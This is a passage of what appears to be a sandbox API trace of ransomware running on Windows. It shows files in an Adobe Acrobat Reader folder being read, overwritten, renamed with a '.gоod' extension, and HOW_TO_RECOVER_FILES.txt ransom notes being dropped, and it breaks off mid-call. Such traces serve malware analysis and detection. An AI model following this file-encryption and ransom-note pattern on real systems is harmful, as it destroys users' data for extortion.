dwReserved1=0x0, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 1 [0174.135] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x0, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 0 [0174.135] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0174.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0174.135] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", lpFilePart=0x0) returned 0x79 [0174.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0174.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js"), fInfoLevelId=0x0, lpFileInformation=0x3540580 | out: lpFileInformation=0x3540580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc)) returned 1 [0174.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0174.137] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", lpFilePart=0x0) returned 0x79 [0174.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0174.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.137] GetFileType (hFile=0x580) returned 0x1 [0174.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0174.137] GetFileType (hFile=0x580) returned 0x1 [0174.138] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0174.138] ReadFile (in: hFile=0x580, lpBuffer=0x3540a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x3540a68*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0174.139] CloseHandle (hObject=0x580) returned 1 [0174.139] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", lpFilePart=0x0) returned 0x79 [0174.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0174.139] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.140] GetFileType (hFile=0x580) returned 0x1 [0174.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0174.140] GetFileType (hFile=0x580) returned 0x1 [0174.140] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x3adc [0174.140] WriteFile (in: hFile=0x580, lpBuffer=0x3542038*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x3542038*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0174.141] CloseHandle (hObject=0x580) returned 1 [0174.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", lpFilePart=0x0) returned 0x79 [0174.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0174.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.141] GetFileType (hFile=0x580) returned 0x1 [0174.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0174.141] GetFileType (hFile=0x580) returned 0x1 [0174.141] ReadFile (in: hFile=0x580, lpBuffer=0x3546c60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x3546c60*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0174.244] CloseHandle (hObject=0x580) returned 1 [0174.244] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", lpFilePart=0x0) returned 0x79 [0174.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0174.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.244] GetFileType (hFile=0x580) returned 0x1 [0174.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0174.244] GetFileType (hFile=0x580) returned 0x1 [0174.245] WriteFile (in: hFile=0x580, lpBuffer=0x33ad4b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x33ad4b0*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0174.245] CloseHandle (hObject=0x580) returned 1 [0174.245] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js", lpFilePart=0x0) returned 0x79 [0174.245] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js.gоod", lpFilePart=0x0) returned 0x7e [0174.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0174.245] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x641310f4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3aec)) returned 1 [0174.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0174.245] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\require.min.js.gоod")) returned 1 [0174.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0174.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0174.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\2.1.15\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0174.431] GetFileType (hFile=0x804) returned 0x1 [0174.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0174.431] GetFileType (hFile=0x804) returned 0x1 [0174.432] WriteFile (in: hFile=0x804, lpBuffer=0x3565b20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x3565b20*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0174.432] CloseHandle (hObject=0x804) returned 1 [0174.432] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7c [0174.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed320) returned 1 [0174.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\require\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0174.433] GetFileType (hFile=0x804) returned 0x1 [0174.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed290) returned 1 [0174.433] GetFileType (hFile=0x804) returned 0x1 [0174.434] WriteFile (in: hFile=0x804, lpBuffer=0x3569468*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ed3e8, lpOverlapped=0x0 | out: lpBuffer=0x3569468*, lpNumberOfBytesWritten=0x203ed3e8*=0x5d0, lpOverlapped=0x0) returned 1 [0174.437] CloseHandle (hObject=0x804) returned 1 [0174.437] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0174.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edd50) returned 1 [0174.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0174.437] GetFileType (hFile=0x804) returned 0x1 [0174.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edcc0) returned 1 [0174.437] GetFileType (hFile=0x804) returned 0x1 [0174.438] WriteFile (in: hFile=0x804, lpBuffer=0x356cd90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ede18, lpOverlapped=0x0 | out: lpBuffer=0x356cd90*, lpNumberOfBytesWritten=0x203ede18*=0x5d0, lpOverlapped=0x0) returned 1 [0174.439] CloseHandle (hObject=0x804) returned 1 [0174.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edde0) returned 1 [0174.439] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc", nBufferLength=0x105, lpBuffer=0x203ed880, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc", lpFilePart=0x0) returned 0x5b [0174.439] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\*", lpFindFileData=0x203edb00 | out: lpFindFileData=0x203edb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.440] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.440] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 1 [0174.440] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0174.440] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edd20) returned 1 [0174.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edce0) returned 1 [0174.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edde0) returned 1 [0174.440] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc", nBufferLength=0x105, lpBuffer=0x203ed880, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc", lpFilePart=0x0) returned 0x5b [0174.440] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\*", lpFindFileData=0x203edb00 | out: lpFindFileData=0x203edb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.441] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.441] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 1 [0174.441] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 0 [0174.441] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edd20) returned 1 [0174.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edce0) returned 1 [0174.441] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", nBufferLength=0x105, lpBuffer=0x203ed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", lpFilePart=0x0) returned 0x6b [0174.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edb90) returned 1 [0174.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\misc\\load-typekit.js"), fInfoLevelId=0x0, lpFileInformation=0x357c750 | out: lpFileInformation=0x357c750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d)) returned 1 [0174.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edb50) returned 1 [0174.442] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", nBufferLength=0x105, lpBuffer=0x203ed520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", lpFilePart=0x0) returned 0x6b [0174.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eda40) returned 1 [0174.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\misc\\load-typekit.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0174.442] GetFileType (hFile=0x804) returned 0x1 [0174.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed9b0) returned 1 [0174.442] GetFileType (hFile=0x804) returned 0x1 [0174.442] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x203edbe8 | out: lpFileSizeHigh=0x203edbe8*=0x0) returned 0x59d [0174.442] ReadFile (in: hFile=0x804, lpBuffer=0x357d028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203edb18, lpOverlapped=0x0 | out: lpBuffer=0x357d028*, lpNumberOfBytesRead=0x203edb18*=0x59d, lpOverlapped=0x0) returned 1 [0174.477] CloseHandle (hObject=0x804) returned 1 [0174.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", nBufferLength=0x105, lpBuffer=0x203ed520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", lpFilePart=0x0) returned 0x6b [0174.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eda40) returned 1 [0174.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\misc\\load-typekit.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0174.955] GetFileType (hFile=0x804) returned 0x1 [0174.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed9b0) returned 1 [0174.955] GetFileType (hFile=0x804) returned 0x1 [0174.955] WriteFile (in: hFile=0x804, lpBuffer=0x3531d00*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x203eda28, lpOverlapped=0x0 | out: lpBuffer=0x3531d00*, lpNumberOfBytesWritten=0x203eda28*=0x5a0, lpOverlapped=0x0) returned 1 [0174.955] CloseHandle (hObject=0x804) returned 1 [0174.956] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", nBufferLength=0x105, lpBuffer=0x203ed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js", lpFilePart=0x0) returned 0x6b [0174.956] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js.gоod", nBufferLength=0x105, lpBuffer=0x203ed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js.gоod", 